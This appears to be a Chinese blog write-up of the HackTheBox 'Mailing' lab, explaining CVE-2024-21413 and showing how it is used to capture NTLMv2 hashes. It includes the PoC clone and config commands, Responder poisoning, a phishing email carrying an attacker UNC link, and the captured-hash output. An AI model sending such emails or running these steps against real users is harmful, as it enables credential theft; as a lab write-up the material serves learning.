HTB Mailing 靶机渗透记录:利用 CVE-2024-21413 捕获 NTLM Hash

在打 HackTheBox (HTB) Season 5 的 easy Windows 靶机"Mailing"时,我遇到了一个有趣的漏洞利用场景:CVE-2024-21413。这是一个针对 Microsoft Outlook 的远程代码执行 (RCE) 漏洞,常被称为"MonikerLink" bug。它允许攻击者通过精心构造的电子邮件超链接,在受害者仅预览邮件时(无需点击)触发认证行为,从而捕获 NTLM 哈希。在 Mailing 靶机中,这个漏洞成为取得初始立足点的桥梁。故本文记录一下漏洞原理和利用过程。

前情回顾

Mailing 靶机模拟了一家邮件托管公司的域控制器环境,运行 hMailServer 作为 SMTP/IMAP/POP3 服务器,并暴露一个易受路径遍历攻击的 PHP 网站。

我首先通过文件遍历读取配置文件拿到了邮件管理员的密码:

随后,漏洞利用聚焦于邮件服务,发送恶意邮件给域用户,诱导其 Outlook/Windows Mail 客户端泄露哈希。

CVE-2024-21413 是一个高危 RCE 漏洞(CVSS 8.8),影响 Microsoft Outlook 2016-2021 版及 Microsoft 365 Apps(32/64 位)。其核心问题是 Outlook 在处理超链接时的输入验证不当,导致 OLE (Object Linking and Embedding) Moniker 系统被滥用。

详细机制

  1. 触发向量:攻击者发送一封嵌入恶意 HTML 超链接的邮件。当受害者在预览窗格(Preview Pane)中查看邮件时,Outlook 自动解析链接,而无需用户交互。
  2. 绕过防护 :漏洞利用 Moniker 链(一种 COM 对象解析机制),通过 IWebBrowser2 接口实例化漏洞 COM 对象,绕过 Office Protected View(沙箱)和 ASLR(地址空间布局随机化)。这允许在 Outlook 进程(中等完整性级别)中执行任意代码。
  3. payload 设计 :在完整 RCE PoC 中,链接可调用 cmd.exe 或投放恶意负载。但在 NTLM 继电器攻击中(如 Mailing 场景),链接使用 UNC 路径(\\attacker-ip\share),诱导 Windows 尝试 SMB 认证。如果受害者域策略禁用"签名或密封请求"(常见于测试环境),系统会泄露 NetNTLMv2 哈希。
  4. 影响范围:未打补丁的系统易受攻击,可能导致凭证窃取、横向移动或持久化。微软于 2024 年 2 月发布补丁,建议立即更新。

这个漏洞的零点击特性使其特别危险:在域环境中,仅需受害者打开邮件客户端即可中招。

漏洞利用:发送恶意邮件

利用基于 GitHub 上的 PoC 脚本(ThemeHackers/CVE-2024-21413),这是一个 Python 工具,用于通过 SMTP 发送构造邮件。脚本使用 Stripo.html 模板嵌入恶意 UNC 链接,模拟钓鱼邮件。

前置准备

  1. 克隆仓库

    复制代码
    git clone https://github.com/ThemeHackers/CVE-2024-21413.git
    cd CVE-2024-21413
  2. 配置 SMTP 凭证 :从靶机枚举中获取管理员邮箱和密码(administrator@mailing.htb / homenetworkingadministrator)。创建 config.ini

    复制代码
    [email_credentials]
    sender_email = administrator@mailing.htb
    sender_password = homenetworkingadministrator
    smtp_server = mailing.htb
    smtp_port = 587
  3. 准备模板 :在 template 目录下放置 Stripo.html(仓库提供),这是一个 HTML 模板,用于隐藏 UNC 链接。

  4. 启动 Responder :在攻击机上监听 SMB/HTTP 以捕获哈希:

    复制代码
    sudo responder -I tun0 -wrf

    (tun0 为 VPN 接口,-wrf 启用 WPAD、SMB 和 HTTP 毒化)。

利用步骤

运行脚本:

复制代码
python CVE-2024-21413.py

脚本进入交互模式,显示当前设置:

复制代码
CVE-2024-21413 > show

Current Settings:
sender_email: administrator@mailing.htb
sender_password: ***************************
smtp_server: mailing.htb
smtp_port: 587
subject: 
link: 
count: 1
recipients: []

帮助命令:

复制代码
CVE-2024-21413 > help

Available Commands:
set <option> <value>  - Set configuration options
  Options:
    subject <text>    - Set email subject
    link <url>        - Set link in email
    count <number>    - Set number of emails to send
show                 - Show current settings
add <email>          - Add recipient email
load <file>          - Load recipients from file
send                 - Send emails
clear                - Clear screen
exit                 - Exit program

配置并发送:

复制代码
CVE-2024-21413 > set subject Test
Set subject to Test
CVE-2024-21413 > add maya@mailing.htb
Added recipient: maya@mailing.htb
CVE-2024-21413 > set link '\\10.10.14.54\test\a'
Set link to \\10.10.14.54\test\a  # 10.10.14.54 为攻击机 IP
CVE-2024-21413 > send
Starting to send emails...
Email sent successfully 1 to maya@mailing.htb.

邮件发送成功后,受害者(Maya 用户)在 Windows Mail/Outlook 中预览邮件,客户端尝试访问 UNC 路径,触发 SMB 认证。

Responder 捕获

几乎立即,Responder 日志显示:

复制代码
[SMB] NTLMv2 Challenge/Response Client   : ::ffff:10.10.11.x
[SMB] NTLMv2 Challenge/Response Username : MAILING\maya
[SMB] NTLMv2 Challenge/Response Hash     : maya::MAILING:1122334455667788:...

捕获的 NTLMv2 哈希可用于离线破解(Hashcat)或继电器攻击。

小结

通过这个挑战,我学到了 MonikerLink 的深层机制以及 SMTP 邮件发送(587端口)的相关知识。推荐初学者参考 HTB 官方机器页面和社区 writeup 复现。如果你正挑战 Mailing,记得添加 /etc/hosts 条目!有疑问欢迎讨论。

相关推荐
王哥儿聊AI2 小时前
告别人工出题!PromptCoT 2.0 让大模型自己造训练难题,7B 模型仅用合成数据碾压人工数据集效果!
人工智能·深度学习·算法·机器学习·软件工程
机器学习之心3 小时前
198种组合算法+优化BiGRU双向门控循环单元+SHAP分析+新数据预测+多输出!深度学习可解释分析,强烈安利,粉丝必备!
深度学习·算法·shap分析·新数据预测·优化bigru
小胖xiaopangss4 小时前
栈的压入弹出序列--牛客
数据结构·c++·算法
_给我学起来4 小时前
前缀和数组
算法
程序员莫小特4 小时前
老题新解|求三角形面积
开发语言·数据结构·c++·算法·信息学奥赛一本通
mc23564 小时前
C语言指针详解
c语言·开发语言·算法
Asmalin4 小时前
【代码随想录day 30】 力扣 763. 划分字母区间
算法·leetcode·职场和发展
小欣加油4 小时前
leetcode 526 优美的排列
c++·算法·leetcode·职场和发展·深度优先·剪枝
代码充电宝5 小时前
LeetCode 算法题【简单】49. 字母异位词分组
java·算法·leetcode·面试·哈希算法